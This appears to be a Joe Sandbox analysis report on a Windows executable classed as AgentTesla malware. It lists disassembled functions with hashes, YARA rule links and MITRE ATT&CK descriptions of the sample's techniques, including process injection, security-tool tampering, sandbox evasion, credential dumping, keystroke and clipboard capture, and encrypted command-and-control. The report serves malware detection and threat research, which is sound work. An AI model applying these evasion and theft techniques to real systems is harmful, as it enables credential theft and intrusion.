Opcode Fuzzy Hash: feab40120c1512d618a8c35e9f7a5efe97f695c5ac634a0e3289ef559c5809d1
Instruction Fuzzy Hash: EC01C831F206289FDF589A79E841A9EB7B5F785354F00447EE901EB344DB31A94487C0

Function 06176479 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e6cc9edc6e6cc7ae18c132ae5e05b14c4d28cab321c562b5d26bed00fa0d5f
Instruction ID: 5cc39850bc948e27b64f4c539598e8b93188ba3604ae2ce519cee45ca4b24e1e
Opcode Fuzzy Hash: 03e6cc9edc6e6cc7ae18c132ae5e05b14c4d28cab321c562b5d26bed00fa0d5f
Instruction Fuzzy Hash: A7F09271E696846FDF61CF7089613AE7BF99F42214F2888E6C089C7152E232CA029381

Non-executed Functions

Function 061776A0 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 061777AB
$^q, xrefs: 06177C29
$^q, xrefs: 06177C07
$^q, xrefs: 06177C1D
$^q, xrefs: 061777DC
$^q, xrefs: 06177C13
$^q, xrefs: 061777B7
$^q, xrefs: 061777E8
$^q, xrefs: 06177B68
$^q, xrefs: 06177B74

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: 2bb23327b6862d3cdc7d3c564f70d51e0f92f1a03b762e966adc42c63f5c8051
Instruction ID: 548ba9c61f3f8580055158a271e3572bf614e1d0e778141d1767cd36080e7c03
Opcode Fuzzy Hash: 2bb23327b6862d3cdc7d3c564f70d51e0f92f1a03b762e966adc42c63f5c8051
Instruction Fuzzy Hash: 57121C30E002198FDB68DF75C954A9DB7F2BF89704F2089A9D409AB3A5DB319D85CF81

Function 0617A938 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0617AA3A
$^q, xrefs: 0617AAF6
$^q, xrefs: 0617AA89
$^q, xrefs: 0617AAEA
$^q, xrefs: 0617AA2E
$^q, xrefs: 0617AAB4
$^q, xrefs: 0617AA95
$^q, xrefs: 0617AAC0

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: c6de9998bf119e453a849027eecfacb7b70fd8afb0c71dbf19ccd418206127cc
Instruction ID: dab9afcd052c221627e3387e46494b65e87d38b0032a5e4155c170cee0662b43
Opcode Fuzzy Hash: c6de9998bf119e453a849027eecfacb7b70fd8afb0c71dbf19ccd418206127cc
Instruction Fuzzy Hash: F8918130E00209DFEB68DF64DA55B6E7BF2BF84305F108829E401AB3A5DB75AD45CB90

Function 061770A0 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 061773DC
$^q, xrefs: 061775B4
$^q, xrefs: 0617753C
.5vq, xrefs: 061770FB
$^q, xrefs: 061773E8
$^q, xrefs: 06177382
$^q, xrefs: 061775A8

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 87a88e7645b4959eb8686cc60385553fbbd3f5ab834758046d8e7a983422673d
Instruction ID: 09761d6b9be99b5ab4e7a09936706fc48b49de92dd1cd53b3c99444e69f4470c
Opcode Fuzzy Hash: 87a88e7645b4959eb8686cc60385553fbbd3f5ab834758046d8e7a983422673d
Instruction Fuzzy Hash: 2EF16230B04208CFDB59EF64D554A6EB7F2BF84304F248569E4059B3A9DB31ED46CB50

Function 061783D8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06178697
$^q, xrefs: 061786A3
$^q, xrefs: 06178632
$^q, xrefs: 0617863E

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: d5acc85b6ac92510ac5a94c175b0d0c2edcb48fbc1f2fb4f3719a17b4f263c78
Instruction ID: d509b764f987c54499505a7888c76ca756896dae182996565e99952027814390
Opcode Fuzzy Hash: d5acc85b6ac92510ac5a94c175b0d0c2edcb48fbc1f2fb4f3719a17b4f263c78
Instruction Fuzzy Hash: 49B13D30B102088FDB94DF69D58876EB7F6AF88304F248879E406AB355DB75DD86CB90

Function 0617ACC0 Relevance: 5.2, Strings: 4, Instructions: 173COMMON

Download Yara Rule

Strings

$^q, xrefs: 0617ADF1
$^q, xrefs: 0617AE44
$^q, xrefs: 0617AE73
$^q, xrefs: 0617AE9C

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 3dce6d2c981324087f08469de21e1fb9a42c44b794ebfd2a13d78ad6002ef99e
Instruction ID: 491a5b8e770b7d495c0977f3b76505028fb1ea6b304b468e6f43cdfef77abf19
Opcode Fuzzy Hash: 3dce6d2c981324087f08469de21e1fb9a42c44b794ebfd2a13d78ad6002ef99e
Instruction Fuzzy Hash: B751D430E102089FDF65DB64D884AAEB7F2EF89300F24896AE801DB355DB31EC45CB90

Function 061787F0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 0617886F
LR^q, xrefs: 06178932
$^q, xrefs: 0617887B
LR^q, xrefs: 061788E3

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: be3b6ce012f0f44f0120a4a9e27ebe6349418b047214e0b3ac3bde8670e64caa
Instruction ID: b8d71ce54361ede0b9921480cb7efcc0ef8a1fec3094a2e8f1e15d283c435c49
Opcode Fuzzy Hash: be3b6ce012f0f44f0120a4a9e27ebe6349418b047214e0b3ac3bde8670e64caa
Instruction Fuzzy Hash: DC51B130B006058FDB98EB68D944A6AB7F2FF88714F1489B9E4059F3A5DB31EC45CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 450230549.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\450230549.exe.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
450230549.exe

Function 00D32B28 Relevance: 1.9, Strings: 1, Instructions: 616
COMMON

Function 00D321CF Relevance: 3.3, APIs: 2, Instructions: 326
processinjectionCOMMON

Function 00D322E1 Relevance: 1.8, APIs: 1, Instructions: 292
COMMON

Function 00D3378D Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Function 00D321EC Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 00D33DD8 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Function 00D32234 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Function 00D32210 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 00D321F8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 00D32240 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 00D33B89 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 00D33C51 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 06173050 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Function 06177D80 Relevance: 3.0, Strings: 2, Instructions: 476
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre